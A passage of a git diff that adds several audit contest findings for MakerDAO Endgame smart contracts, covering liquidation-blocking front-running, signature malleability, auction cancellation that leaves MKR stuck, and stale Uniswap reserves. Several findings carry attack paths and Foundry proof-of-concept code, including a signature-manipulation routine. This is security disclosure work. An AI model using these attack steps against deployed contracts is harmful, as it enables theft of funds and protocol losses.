the liquidated Vault. + address kpr // Address that will receive incentives + ) external auth lock isStopped(1) returns (uint256 id) { + //-------skip----- + // Trigger engine liquidation call-back + @>> engine.onKick(usr, lot); + + emit Kick(id, top, tab, lot, usr, kpr, coin); + } +``` +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L422 + +```javascript + function onKick(address urn, uint256 wad) external auth { + // Urn confiscation happens in Dog contract where ilk vat.gem is sent to the LockstakeClipper + (uint256 ink,) = vat.urns(ilk, urn); + uint256 inkBeforeKick = ink + wad; +@>> _selectVoteDelegate(urn, inkBeforeKick, urnVoteDelegates[urn], address(0)); + _selectFarm(urn, inkBeforeKick, urnFarms[urn], address(0), 0); + lsmkr.burn(urn, wad); + urnAuctions[urn]++; + emit OnKick(urn, wad); + } +``` +Thus, liquidation can be blocked . + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + + 1. The position has borrowed a large amount of DAI, leading to the possibility of liquidation. + 2. The MKR Oracle price drops, causing the position to meet the conditions for liquidation. + +### Attack Path + + 1. Stake a large amount of MKR or NGT. + 2. Borrow a large amount of DAI. + 3. The MKR Oracle price drops, causing the position to meet the conditions for liquidation. + 4. Detect the transaction that initiates the liquidation of the position. + 5. Front-run the liquidation by calling voteDelegate::lock(0). + 6. The liquidation fails, + 7. Repeat steps 4 and 5. making it possible for the position to never be liquidated. + +### Impact + +This can make the position never be liquidated, causing the Maker protocol to incur losses. + +### PoC + +```javascript +function testOnKickRevertBecauseFrontrun() public{ + address urn = _urnSetUp(false, false); + uint256 lsmkrInitialSupply = lsmkr.totalSupply(); + + + + //Force liquidation + vm.store(address(pip), bytes32(uint256(1)), bytes32(uint256(0.05 * 10**18))); // Force liquidation + dss.spotter.poke(ilk); + assertEq(clip.kicks(), 0); + assertEq(engine.urnAuctions(urn), 0); + (,, uint256 hole,) = dss.dog.ilks(ilk); + uint256 kicked = hole < 2_000 * 10**45 ? 100_000 * 10**18 * hole / (2_000 * 10**45) : 100_000 * 10**18; + + //frontrun bark + VoteDelegateMock(voteDelegate).lock(0); + + //liquidation bark + vm.expectEmit(true, true, true, true); + emit OnKick(urn, kicked); + uint256 id = dss.dog.bark(ilk, address(urn), address(this)); + assertEq(clip.kicks(), 1); + assertEq(engine.urnAuctions(urn), 1); + + + + + } +``` + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/008.md b/008.md new file mode 100644 index 0000000..234761d --- /dev/null +++ b/008.md @@ -0,0 +1,188 @@ +Unique Pistachio Chipmunk + +High + +# Signature malleability problem, possibly leading to double allowance and spending. + +### Summary + +The original signature can be manipulated into another signature that is still valid. If an external contract uses a transation Id based on the signature to check whether a permit has been used or not, then a double allowance and spending is possible. This might lead to loss of funds. + +A double spending/allowance is a 100% loss, therefore, I mark this as *high*. + +### Root Cause + +It is well known that Ethereum's ```ecrecover``` function is subject to the signature malleability problem; see: +[https://medium.com/draftkings-engineering/signature-malleability-7a804429b14a](https://medium.com/draftkings-engineering/signature-malleability-7a804429b14a) + + + +The following function uses ```ecrecover``` and thus has a problem: + +[https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/nst/src/Nst.sol#L191-L208](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/nst/src/Nst.sol#L191-L208) + +### Internal pre-conditions + +None + +### External pre-conditions + +An external contract might use signature-based transactionId to check whether a permit signature has been used before. As a result, even though a variant of the original signature was executed, the external contract will think the original signature was not used. As a result, a new signature might be signed, and double spending becomes possible. + + +### Attack Path +Initial Permit Setup: + + Owner: Bob + Spender: Alice + Allowance: Bob gives Alice permission to spend 100 NST tokens. + Bob signs a permit with a nonce, a deadline, and other details. + +Signature Malleability: + + An attacker, Eve, notices (when front-running BobContract.authorizeTransfer()) that Bob's permit signature can be changed to another still valid signature (see manipulateSignature() in the POC), so Eve crafts and uses an alternate valid signature (with a different v value) to call the permit function before the deadline, granting Alice the allowance. + +Signature Expiry and Reissuance: + + After the deadline expires, Bob believes that the original permit was not used due to the signature malleability issue. + Bob issues a new permit signature for Alice with a new nonce and possibly a new deadline. + +Double Allowance: + + The new permit signature is intended to replace the old one, but since the attacker has already used the original (or an alternate valid version), Bob’s new permit may end up granting additional allowance to Alice (or Eve) beyond what was intended. + +### Impact + +It uses Ethereum's ecrecover, as a result, different signature is used to execute the transaction, making the original caller to think that the transaction didn't go through although it was successful, this can lead to double allowance and spending. + +### PoC +The function ```manipulateSignature()``` takes the original signature and generates a new signature, which is also valid. +```javascript + + function manipulateSignature(bytes memory signature) public pure returns(bytes memory) { + (uint8 v, bytes32 r, bytes32 s) = splitSignature(signature); + + uint8 manipulatedV = v % 2 == 0 ? v - 1 : v + 1; + uint256 manipulatedS = modNegS(uint256(s)); + bytes memory manipulatedSignature = abi.encodePacked(r, bytes32(manipulatedS), manipulatedV); + + return manipulatedSignature; + } + + function splitSignature(bytes memory sig) public pure returns (uint8 v, bytes32 r, bytes32 s) { + require(sig.length == 65, "Invalid signature length"); + assembly { + r := mload(add(sig, 32)) + s := mload(add(sig, 64)) + v := byte(0, mload(add(sig, 96))) + } + if (v < 27) { + v += 27; + } + require(v == 27 || v == 28, "Invalid signature v value"); + } +``` + +Below, we show how the malleability vulnerability can be exploited to mislead an owner (BobContract) to give twice allowance to a spender (SpenderContract), leading to double transfer of 5000 NSts. + +Attack Scenario + + Initial Setup: + BobContract is set up with a authorizeTransfer() function that uses nstToken.permit() to grant a spender permission to transfer NST tokens from BobContract. + + Front-Running Attack: + The attacker, Eve, notices that BobContract is about to call authorizeTransfer(). + Eve executes a front-running transaction that uses a manipulated signature to call nstToken.permit() directly before BobContract's transaction is mined. + + Eve Executes Transfer: + Using the manipulated permit, Eve calls SpenderContract.performTransfer() to transfer NST tokens from BobContract to an account she controls, Alice. + + BobContract's authorizeTransfer() Call: + BobContract proceeds with its authorizeTransfer() call, which fails since the nonce was used, but the transfer has already been executed due to Eve's front-running. + + Bob creates another valid signature since he thought the original transaction fails (```executedTransactions[txId] = false```). This allows double allowance and thus double transfers to occur, which is a loss of funds. + +```javascript + +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +interface INst { + function permit( + address owner, + address spender, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) external; + + function transferFrom( + address from, + address to, + uint256 value + ) external returns (bool); +} + +contract BobContract { + mapping(bytes32 => bool) public executedTransactions; // Track executed transactions + + INst public nstToken; // NST token contract + + constructor(address _nstToken) { + nstToken = INst(_nstToken); + } + + function authorizeTransfer( + address spenderContract, + address recipient, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) external { + // Create a transaction ID based on permit details + bytes32 txId = keccak256(abi.encodePacked(spenderContract, recipient, value, deadline, r, s, v)); + + // Check if this transaction ID has already been executed, but a variant of the original signature might be used to get around this + require(!executedTransactions[txId], "BobContract: transaction already executed"); + + // Mark transaction as executed + executedTransactions[txId] = true; + + // Authorize the spender contract with the permit + nstToken.permit(address(this), spenderContract, value, deadline, v, r, s); + + // Call the spender contract to perform the transfer + ISpender(spenderContract).performTransfer(address(nstToken), recipient, value); + } +} + +interface ISpender { + function performTransfer(address token, address recipient, uint256 value) external; +} + +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +interface INst { + function transferFrom( + address from, + address to, + uint256 value + ) external returns (bool); +} + +contract SpenderContract { + function performTransfer(address token, address recipient, uint256 value) external { + INst(token).transferFrom(msg.sender, recipient, value); + } +} + +``` + + +### Mitigation +Use the latest version of the OpenZeppelin ECDSA library. \ No newline at end of file diff --git a/008/075.md b/008/075.md new file mode 100644 index 0000000..14b945d --- /dev/null +++ b/008/075.md @@ -0,0 +1,91 @@ +Raspy Daffodil Wasp + +Medium + +# LockstakeClipper.yank did not process the burned lsmkr token + +### Summary + +LockstakeClipper.yank did not process the burned lsmkr token, resulting in loss of funds. + +### Root Cause + +When the user is liquidated, `lsmkr.burn` is executed in `LockstakeEngine.onKick`, +However, when canceling the auction using `LockstakeClipper.yank`, no processing is done on the lsmkr token. + +LockstakeClipper.kick -> LockstakeEngine.onKick -> lsmkr.burn +```solidity + function onKick(address urn, uint256 wad) external auth { + // Urn confiscation happens in Dog contract where ilk vat.gem is sent to the LockstakeClipper + (uint256 ink,) = vat.urns(ilk, urn); + uint256 inkBeforeKick = ink + wad; + _selectVoteDelegate(urn, inkBeforeKick, urnVoteDelegates[urn], address(0)); + _selectFarm(urn, inkBeforeKick, urnFarms[urn], address(0), 0); +@> lsmkr.burn(urn, wad); + urnAuctions[urn]++; + emit OnKick(urn, wad); + } +``` + +lsmkr token is not processed when yank: + +```solidity + function yank(uint256 id) external auth lock { + require(sales[id].usr != address(0), "LockstakeClipper/not-running-auction"); + dog.digs(ilk, sales[id].tab); + uint256 lot = sales[id].lot; + vat.flux(ilk, address(this), msg.sender, lot); + engine.onRemove(sales[id].usr, 0, 0); + _remove(id); + emit Yank(id); + } + + function onRemove(address urn, uint256 sold, uint256 left) external auth { + uint256 burn; + uint256 refund; + if (left > 0) { + burn = _min(sold * fee / (WAD - fee), left); + mkr.burn(address(this), burn); + unchecked { refund = left - burn; } + if (refund > 0) { + // The following is ensured by the dog and clip but we still prefer to be explicit + require(refund <= uint256(type(int256).max), "LockstakeEngine/overflow"); + vat.slip(ilk, urn, int256(refund)); + vat.frob(ilk, urn, urn, address(0), int256(refund), 0); + lsmkr.mint(urn, refund); + } + } + urnAuctions[urn]--; + emit OnRemove(urn, sold, burn, refund); + } +``` + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeEngine.sol#L428 + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeClipper.sol#L476 + +### Internal pre-conditions + +1. The user is liquidated and enters the auction state. +2. The auction is canceled + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The user is liquidated and enters the auction state. +2. The administrator calls `LockstakeClipper.yank` to cancel the auction. +3. The lkmkr token burned during `LockstakeEngine.onKick` is not processed, resulting in a loss of funds. + +### Impact + +Cause the loss of funds. + +### PoC +_No response_ + +### Mitigation + +The `yank` function sends the burned `lsmkr token` to the `msg.sender` \ No newline at end of file diff --git a/008/083.md b/008/083.md new file mode 100644 index 0000000..8ba7739 --- /dev/null +++ b/008/083.md @@ -0,0 +1,135 @@ +Interesting Tiger Mole + +Medium + +# The administrator calling yank() will result in MKR being permanently locked in the LockstakeEngine. + +### Summary + +In the LockstakeClipper.sol::yank() function, the lack of lsmkr.mint() will result in MKR being permanently locked in the LockstakeEngine. + +### Root Cause + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeClipper.sol#L476 +```javascript + // Cancel an auction during End.cage or via other governance action. + function yank(uint256 id) external auth lock { + require(sales[id].usr != address(0), "LockstakeClipper/not-running-auction"); + dog.digs(ilk, sales[id].tab); + uint256 lot = sales[id].lot; +@>> vat.flux(ilk, address(this), msg.sender, lot); +@>> engine.onRemove(sales[id].usr, 0, 0); + _remove(id); + emit Yank(id); + } +``` +In the yank() function, we can see that only the accounting of the collateral is transferred to msg.sender. However, MKR is neither transferred to msg.sender nor is lsmkr minted to msg.sender. This will result in msg.sender being unable to withdraw MKR from the LockstakeEngine. +Let’s take a look at the LockstakeEngine::free() function. + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L340 +```javascript + function freeNoFee(address urn, address to, uint256 wad) external auth urnAuth(urn) { +@>> _free(urn, wad, 0); + mkr.transfer(to, wad); + emit FreeNoFee(urn, to, wad); + } +``` +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L360C3-L378C6 +```javascript + function _free(address urn, uint256 wad, uint256 fee_) internal returns (uint256 freed) { + require(wad <= uint256(type(int256).max), "LockstakeEngine/overflow"); + address urnFarm = urnFarms[urn]; + if (urnFarm != address(0)) { + LockstakeUrn(urn).withdraw(urnFarm, wad); + } +@>> lsmkr.burn(urn, wad); + vat.frob(ilk, urn, urn, address(0), -int256(wad), 0); + vat.slip(ilk, urn, -int256(wad)); + address voteDelegate = urnVoteDelegates[urn]; + if (voteDelegate != address(0)) { + VoteDelegateLike(voteDelegate).free(wad); + } + uint256 burn = wad * fee_ / WAD; + if (burn > 0) { + mkr.burn(address(this), burn); + } + unchecked { freed = wad - burn; } // burn <= wad always + } +``` +It can be seen that due to the lack of lsmkr token, _free() will revert, causing free() to also revert. As a result, msg.sender will never receive the MKR they are entitled to, and the MKR will be permanently locked in the LockstakeEngine. msg.sender only receives the accounting of the collateral, but not the collateral itself, and cannot extract the collateral. + +### Internal pre-conditions + +To remove the liquidated auction, use the yank function. + +### External pre-conditions + +1. There is a position that meets the liquidation conditions. +2. Initiate the liquidation auction. + +### Attack Path + + 1. There is a position that meets the liquidation conditions. + 2. Initiate the liquidation auction. + 3. Use the yank function to remove the liquidated auction. + +### Impact + +The liquidated MKR is permanently locked in the LockstakeEngine, leading to a loss of funds. + +### PoC + +```javascript + +function testClipperYankRevert4FreeMkr() public{ + address urn = _urnSetUp(false, false); + uint256 id = _forceLiquidation(urn); + + //mkr number for + (,, uint256 lot,, address usr,,) = clip.sales(id); + console2.log("lot is ", lot); + + vm.expectEmit(true, true, true, true); + emit OnRemove(urn, 0, 0, 0); + vm.prank(pauseProxy); clip.yank(id); + assertEq(engine.urnAuctions(urn), 0); + + //pauseProxy transfers the accounting of gem token to urn, then we can test free + vm.prank(pauseProxy); + dss.vat.frob(ilk, urn, pauseProxy,address(0), int256(lot), 0); + + //will revert for free Mkr on engin, But it should be sucess. + engine.free(urn, pauseProxy, lot); + + } +``` +add this code in LockstakeEngine.t.sol +then run `forge test --mt testClipperYankRevert4FreeMkr -vvv` +will get: +```bash + ├─ [2264] LockstakeEngine::free(0x67c6b529B25c9e34Ab8571e3ed77963A66A2514F, 0xBE8E3e3618f7474F8cB1d074A26afFef007E98FB, 100000000000000000000000 [1e23]) + │ ├─ [713] LockstakeMkr::burn(0x67c6b529B25c9e34Ab8571e3ed77963A66A2514F, 100000000000000000000000 [1e23]) + │ │ └─ ← revert: LockstakeMkr/insufficient-balance + │ └─ ← revert: LockstakeMkr/insufficient-balance + └─ ← revert: LockstakeMkr/insufficient-balance + +Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 46.49s (10.03s CPU time) + +``` + +### Mitigation + +```diff + // Cancel an auction during End.cage or via other governance action. + function yank(uint256 id) external auth lock { + require(sales[id].usr != address(0), "LockstakeClipper/not-running-auction"); + dog.digs(ilk, sales[id].tab); + uint256 lot = sales[id].lot; +- vat.flux(ilk, address(this), msg.sender, lot); ++ vat.slip(ilk, address(this), -int256(lot));//@audit 为什么事this 少了slice??? ++ engine.onTake(sales[id].usr, msg.sender, lot);//如果是link?? + engine.onRemove(sales[id].usr, 0, 0); + _remove(id); + emit Yank(id); + } +``` \ No newline at end of file diff --git a/008/088.md b/008/088.md new file mode 100644 index 0000000..6f68c1b --- /dev/null +++ b/008/088.md @@ -0,0 +1,73 @@ +Breezy Black Spider + +Medium + +# Utilizing LockStateClipper#yank will result in DOS of collateral being liquidated + +## Summary + +LockStateClipper#yank uses vat.flux to internally transfer the lsMKR ilk. Since it does not follow the same pattern as other ilk and lacks a join contract, this internal balance cannot be converted into real collateral. + +## Vulnerability Detail + +[LockstakeClipper.sol#L475-L484](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeClipper.sol#L475-L484) + + // Cancel an auction during End.cage or via other governance action. + function yank(uint256 id) external auth lock { + require(sales[id].usr != address(0), "LockstakeClipper/not-running-auction"); + dog.digs(ilk, sales[id].tab); + uint256 lot = sales[id].lot; + vat.flux(ilk, address(this), msg.sender, lot); + engine.onRemove(sales[id].usr, 0, 0); + _remove(id); + emit Yank(id); + } + +Above we see that yank utilizes the flux command to move the internal collateral balance from the clipper to msg.sender. + +[LockstakeInit.sol#L241-L251](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/deploy/LockstakeInit.sol#L241-L251) + + IlkRegistryLike(dss.chainlog.getAddress("ILK_REGISTRY")).put( + cfg.ilk, + address(0), //@audit-info no join address + cfg.mkr, + 18, + 7, // New class + pip, + address(clipper), + cfg.name, + cfg.symbol + ); + +We also see that lsMKR does not have a join since the lockstake engine effectively functions as it's join. As a result this internal is impossible to access. Instead a separate governance action is needed to call onTake to recover the underlying MKR. This could lead to a substantial delay in the liquidation leading to large amounts of bad debt being accumulated in the system to due a flaw in the contract. + +Although for this contest it is assumed that ESM is never triggered, as stated in the contract comments it is expected that I could be called as part of other governance actions. + +## Impact + +Since these are funds directly queued for liquidation, the delay could lead to large amounts of excess bad debt in the system. + +## Code Snippet + +[LockstakeClipper.sol#L475-L484](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeClipper.sol#L475-L484) + +## Tool used + +Manual Review + +## Recommendation + +The methodology should be changed to utilize vat.slip and engine.onTake to effectively recover the collateral: + + // Cancel an auction during End.cage or via other governance action. + function yank(uint256 id) external auth lock { + require(sales[id].usr != address(0), "LockstakeClipper/not-running-auction"); + dog.digs(ilk, sales[id].tab); + uint256 lot = sales[id].lot; + -- vat.flux(ilk, address(this), msg.sender, lot); + ++ vat.slip(ilk, address(this), -int256(lot)); + ++ engine.onTake(sales[id].usr, msg.sender, lot); + engine.onRemove(sales[id].usr, 0, 0); + _remove(id); + emit Yank(id); + } \ No newline at end of file diff --git a/009.md b/009.md new file mode 100644 index 0000000..f8114d7 --- /dev/null +++ b/009.md @@ -0,0 +1,366 @@ +Unique Pistachio Chipmunk + +High + +# FlapperUniV2.exec() might use stale reserve data to perform the swap, as a result, it is subject to reserve manipulation exploit. + +### Summary +FlapperUniV2.exec() might use stale reserve data to perform the swap. It calls _getReserves(), which does not call sync(). Therefore, the reserve data used to calculate the amount of output for the swap might not be accurate. The swap function inside exec() is subject to reserve manipulation exploit. + +The attack can be replayed indefinately. Therefore, I mark this as *high*. + +### Root Cause + +the ```_getReserves()``` function is used to get the reserve information for the token pair. However, it does not call pair.sync(), therefore, the returned reserve information could have been outdated. + +[https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/dss-flappers/src/FlapperUniV2SwapOnly.sol#L107C14-L110](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/dss-flappers/src/FlapperUniV2SwapOnly.sol#L107C14-L110) + +### Internal pre-conditions + +None + +### External pre-conditions + +Some users might send some tokens to the pair contract, as a result, there is discrepancy between the real balances of the tokens and the reserve numbers. + +### Attack Path + +Suppose we have: +DAI Reserve: 83819875867994573841908993 +MKR Reserve: 30055990947180442086389 + +User Input: The exec() function is called with lot = 5707000000000000000000. The expected amount of MKR to be received is 2040128810233333416 MKR + +However, suppose the REAL balance for DAI is 83819875867994573841908993, + and the REAL balance for MKR is 30206270901916344296820 (0.5% more). In other words, if sync() has been called first to sync the reserves. Then, the expected amount of MKR to be received is 2050329454284500083. + +Unfortunately, due to the lack of sync() calling inside the _reserves() function, the ```FlapperUniV2SwapOnly.receiver``` will receive only 2040128810233333416 MKR, which is 6761774306807008 MKR LESS. + +### Impact +FlapperUniV2.exec() might use stale reserve data to perform the swap, as a result, it is subject to reserve manipulation exploit. the ```FlapperUniV2SwapOnly.receiver``` might receive more or less MKR tokens than expected. + +### PoC + +For the following code, please try three cases: + +1) case 1: reserves have been synced +```javascript + function testManipulateReserves() public{ + vow.flap(); + } +``` + +2) case 2: reserves are out of sync, the actual MKR balance is 0.5% more. + function testManipulateReserves() public{ + deal(MKR, UNIV2_DAI_MKR_PAIR, GemLike(MKR).balanceOf(UNIV2_DAI_MKR_PAIR) * 1005/ 1000); + vow.flap(); + } + +3) case 3: the MKR reserve is increased by 0.5% and synced. +```javascript + function testManipulateReserves() public{ + deal(MKR, UNIV2_DAI_MKR_PAIR, GemLike(MKR).balanceOf(UNIV2_DAI_MKR_PAIR) * 1005/ 1000); + PairLike(UNIV2_DAI_MKR_PAIR).sync(); + vow.flap(); + } +``` + +The full code is as follows: + +```javascript +// SPDX-FileCopyrightText: © 2023 Dai Foundation +// SPDX-License-Identifier: AGPL-3.0-or-later +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU Affero General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU Affero General Public License for more details. +// +// You should have received a copy of the GNU Affero General Public License +// along with this program. If not, see . + +pragma solidity ^0.8.21; + +import "dss-test/DssTest.sol"; + +import { DssInstance, MCD } from "dss-test/MCD.sol"; +import { FlapperDeploy } from "deploy/FlapperDeploy.sol"; +import { FlapperUniV2Config, FlapperInit } from "deploy/FlapperInit.sol"; +import { FlapperUniV2SwapOnly } from "src/FlapperUniV2SwapOnly.sol"; +import { SplitterMock } from "test/mocks/SplitterMock.sol"; +import "./helpers/UniswapV2Library.sol"; + +interface ChainlogLike { + function getAddress(bytes32) external view returns (address); +} + + +interface VatLike { + function sin(address) external view returns (uint256); + function dai(address) external view returns (uint256); +} + +interface VowLike { + function file(bytes32, address) external; + function file(bytes32, uint256) external; + function flap() external returns (uint256); + function Sin() external view returns (uint256); + function Ash() external view returns (uint256); + function heal(uint256) external; + function bump() external view returns (uint256); + function hump() external view returns (uint256); +} + +interface SpotterLike { + function par() external view returns (uint256); +} + +interface PairLike { + function mint(address) external returns (uint256); + function sync() external; +} + +interface GemLike { + function balanceOf(address) external view returns (uint256); + function approve(address, uint256) external; + function transfer(address, uint256) external; +} + +contract MockMedianizer { + uint256 public price; + mapping (address => uint256) public bud; + + function setPrice(uint256 price_) external { + price = price_; + } + + function kiss(address a) external { + bud[a] = 1; + } + + function read() external view returns (bytes32) { + require(bud[msg.sender] == 1, "MockMedianizer/not-authorized"); + return bytes32(price); + } +} + +contract FlapperUniV2SwapOnlyTest is DssTest { + using stdStorage for StdStorage; + + SplitterMock public splitter; + FlapperUniV2SwapOnly public flapper; + FlapperUniV2SwapOnly public linkFlapper; + MockMedianizer public medianizer; + MockMedianizer public linkMedianizer; + + address DAI_JOIN; + address SPOT; + address DAI; + address MKR; + address USDC; + address LINK; + address PAUSE_PROXY; + VatLike vat; + VowLike vow; + SpotterLike spotter; + + address constant LOG = 0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F; + + address constant UNIV2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + address constant UNIV2_DAI_MKR_PAIR = 0x517F9dD285e75b599234F7221227339478d0FcC8; + address constant UNIV2_LINK_DAI_PAIR = 0x6D4fd456eDecA58Cf53A8b586cd50754547DBDB2; + + event Exec(uint256 lot, uint256 bought); + + function setUp() public { + vm.createSelectFork(vm.envString("ETH_RPC_URL")); + + DAI_JOIN = ChainlogLike(LOG).getAddress("MCD_JOIN_DAI"); + SPOT = ChainlogLike(LOG).getAddress("MCD_SPOT"); + DAI = ChainlogLike(LOG).getAddress("MCD_DAI"); + MKR = ChainlogLike(LOG).getAddress("MCD_GOV"); + USDC = ChainlogLike(LOG).getAddress("USDC"); + LINK = ChainlogLike(LOG).getAddress("LINK"); + PAUSE_PROXY = ChainlogLike(LOG).getAddress("MCD_PAUSE_PROXY"); + vat = VatLike(ChainlogLike(LOG).getAddress("MCD_VAT")); + vow = VowLike(ChainlogLike(LOG).getAddress("MCD_VOW")); + spotter = SpotterLike(ChainlogLike(LOG).getAddress("MCD_SPOT")); + + splitter = new SplitterMock(DAI_JOIN); + vm.startPrank(PAUSE_PROXY); + vow.file("hump", 50_000_000 * RAD); + vow.file("bump", 5707 * RAD); + vow.file("flapper", address(splitter)); + vm.stopPrank(); + + (flapper, medianizer) = setUpFlapper(MKR, UNIV2_DAI_MKR_PAIR, 727 * WAD) ; + assertEq(flapper.daiFirst(), true); + + (linkFlapper, linkMedianizer) = setUpFlapper(LINK, UNIV2_LINK_DAI_PAIR, 654 * WAD / 100); + assertEq(linkFlapper.daiFirst(), false); + + changeFlapper(address(flapper)); // Use MKR flapper by default + + // Create additional surplus if needed + uint256 bumps = 2 * vow.bump(); // two kicks + if (vat.dai(address(vow)) < vat.sin(address(vow)) + bumps + vow.hump()) { + stdstore.target(address(vat)).sig("dai(address)").with_key(address(vow)).depth(0).checked_write( + vat.sin(address(vow)) + bumps + vow.hump() + ); + } + + // Heal if needed + if (vat.sin(address(vow)) > vow.Sin() + vow.Ash()) { + vow.heal(vat.sin(address(vow)) - vow.Sin() - vow.Ash()); + } + } + + function setUpFlapper(address gem, address pair, uint256 price) + internal + returns (FlapperUniV2SwapOnly _flapper, MockMedianizer _medianizer) + { + _medianizer = new MockMedianizer(); + _medianizer.kiss(address(this)); + + _flapper = FlapperUniV2SwapOnly(FlapperDeploy.deployFlapperUniV2({ + deployer: address(this), + owner: PAUSE_PROXY, + spotter: SPOT, + dai: DAI, + gem: gem, + pair: pair, + receiver: PAUSE_PROXY, + swapOnly: true + })); + + // Note - this part emulates the spell initialization + vm.startPrank(PAUSE_PROXY); + FlapperUniV2Config memory cfg = FlapperUniV2Config({ + want: WAD * 97 / 100, + pip: address(_medianizer), + pair: pair, + dai: DAI, + splitter: address(splitter), + prevChainlogKey: bytes32(0), + chainlogKey: "MCD_FLAP_BURN" + }); + DssInstance memory dss = MCD.loadFromChainlog(LOG); + FlapperInit.initFlapperUniV2(dss, address(_flapper), cfg); + FlapperInit.initDirectOracle(address(_flapper)); + vm.stopPrank(); + + assertEq(dss.chainlog.getAddress("MCD_FLAP_BURN"), address(_flapper)); + + // Add initial liquidity if needed + (uint256 reserveDai, ) = UniswapV2Library.getReserves(UNIV2_FACTORY, DAI, gem); + uint256 minimalDaiReserve = 280_000 * WAD; + if (reserveDai < minimalDaiReserve) { + _medianizer.setPrice(price); + changeUniV2Price(price, gem, pair); + (reserveDai, ) = UniswapV2Library.getReserves(UNIV2_FACTORY, DAI, gem); + if(reserveDai < minimalDaiReserve) { + topUpLiquidity(minimalDaiReserve - reserveDai, gem, pair); + } + } else { + // If there is initial liquidity, then the oracle price should be set to the current price + _medianizer.setPrice(uniV2DaiForGem(WAD, gem)); + } + } + + function changeFlapper(address _flapper) internal { + vm.prank(PAUSE_PROXY); splitter.file("flapper", address(_flapper)); + } + + function refAmountOut(uint256 amountIn, address pip) internal view returns (uint256) { + return amountIn * WAD / (uint256(MockMedianizer(pip).read()) * RAY / spotter.par()); + } + + function uniV2GemForDai(uint256 amountIn, address gem) internal view returns (uint256 amountOut) { + (uint256 reserveDai, uint256 reserveGem) = UniswapV2Library.getReserves(UNIV2_FACTORY, DAI, gem); + amountOut = UniswapV2Library.getAmountOut(amountIn, reserveDai, reserveGem); + } + + function uniV2DaiForGem(uint256 amountIn, address gem) internal view returns (uint256 amountOut) { + (uint256 reserveDai, uint256 reserveGem) = UniswapV2Library.getReserves(UNIV2_FACTORY, DAI, gem); + return UniswapV2Library.getAmountOut(amountIn, reserveGem, reserveDai); + } + + function changeUniV2Price(uint256 daiForGem, address gem, address pair) internal { + (uint256 reserveDai, uint256 reserveGem) = UniswapV2Library.getReserves(UNIV2_FACTORY, DAI, gem); + uint256 currentDaiForGem = reserveDai * WAD / reserveGem; + + // neededReserveDai * WAD / neededReserveMkr = daiForGem; + if (currentDaiForGem > daiForGem) { + deal(gem, pair, reserveDai * WAD / daiForGem); + } else { + deal(DAI, pair, reserveGem * daiForGem / WAD); + } + PairLike(pair).sync(); + } + + function topUpLiquidity(uint256 daiAmt, address gem, address pair) internal { + (uint256 reserveDai, uint256 reserveGem) = UniswapV2Library.getReserves(UNIV2_FACTORY, DAI, gem); + uint256 gemAmt = UniswapV2Library.quote(daiAmt, reserveDai, reserveGem); + + deal(DAI, address(this), GemLike(DAI).balanceOf(address(this)) + daiAmt); + deal(gem, address(this), GemLike(gem).balanceOf(address(this)) + gemAmt); + + GemLike(DAI).transfer(pair, daiAmt); + GemLike(gem).transfer(pair, gemAmt); + uint256 liquidity = PairLike(pair).mint(address(this)); + assertGt(liquidity, 0); + assertGe(GemLike(pair).balanceOf(address(this)), liquidity); + } + + function marginalWant(address gem, address pip) internal view returns (uint256) { + uint256 wbump = vow.bump() / RAY; + uint256 actual = uniV2GemForDai(wbump, gem); + uint256 ref = refAmountOut(wbump, pip); + return actual * WAD / ref; + } + + function doExec(address _flapper, address gem, address pair) internal { + uint256 initialGem = GemLike(gem).balanceOf(address(PAUSE_PROXY)); + console2.log("receiver's orignal MKR: ", initialGem); + + uint256 initialDaiVow = vat.dai(address(vow)); + uint256 initialReserveDai = GemLike(DAI).balanceOf(pair); + uint256 initialReserveMkr = GemLike(gem).balanceOf(pair); + + vm.expectEmit(false, false, false, false); // only check event signature (topic 0) + emit Exec(0, 0); + vow.flap(); + + assertGt(GemLike(gem).balanceOf(address(PAUSE_PROXY)), initialGem); + assertGt(GemLike(DAI).balanceOf(pair), initialReserveDai); + assertLt(GemLike(gem).balanceOf(pair), initialReserveMkr); + assertEq(initialDaiVow - vat.dai(address(vow)), vow.bump()); + assertEq(GemLike(DAI).balanceOf(address(_flapper)), 0); + assertEq(GemLike(gem).balanceOf(address(_flapper)), 0); + } + + function testManipulateReserves() public{ + deal(MKR, UNIV2_DAI_MKR_PAIR, 